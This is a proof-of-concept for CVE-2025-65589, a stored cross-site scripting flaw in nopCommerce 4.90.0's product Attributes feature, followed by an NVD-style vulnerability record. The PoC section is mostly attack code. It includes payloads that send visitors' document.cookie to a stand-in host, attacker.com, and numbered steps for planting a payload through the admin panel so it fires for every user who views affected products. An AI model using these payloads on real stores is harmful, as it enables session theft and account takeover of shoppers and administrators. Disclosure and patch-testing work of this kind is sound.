CVE-2025-65589

// CVE-2025-65589 PoC - nopCommerce 4.90.0 XSS via Attributes // Target: nopCommerce 4.90.0 Attributes functionality // PoC 1: Basic XSS alert const xssPayload1 = '<script>alert("XSS CVE-2025-65589")</script>'; // PoC 2: Cookie stealing payload const xssPayload2 = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; // PoC 3: DOM-based XSS const xssPayload3 = '<svg/onload=fetch("https://attacker.com/exfil?data="+btoa(document.cookie))>'; // Example exploitation steps: // 1. Navigate to nopCommerce Admin Panel -> Catalog -> Attributes // 2. Create new attribute or edit existing one // 3. Insert XSS payload in attribute name/value field // 4. Save the attribute // 5. When any user views products with this attribute, XSS triggers // Suggested test payload for verification: const testPayload = '<script>console.log("CVE-2025-65589 PoC")</script>';

{"cve": {"id": "CVE-2025-65589", "sourceIdentifier": "[email protected]", "published": "2025-12-16T18:16:14.937", "lastModified": "2025-12-19T16:43:38.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nopCommerce 4.90.0 is vulnerable to Cross Site Scripting (XSS) via the Attributes functionality."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nopcommerce:nopcommerce:4.90.0:*:*:*:*:*:*:*", "matchCriteriaId": "1FC64557-EDFD-4460-8793-8C452638D782"}]}]}], "references": [{"url": "https://seclists.org/fulldisclosure/2025/Dec/16", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.nopcommerce.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://seclists.org/fulldisclosure/2025/Dec/16", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}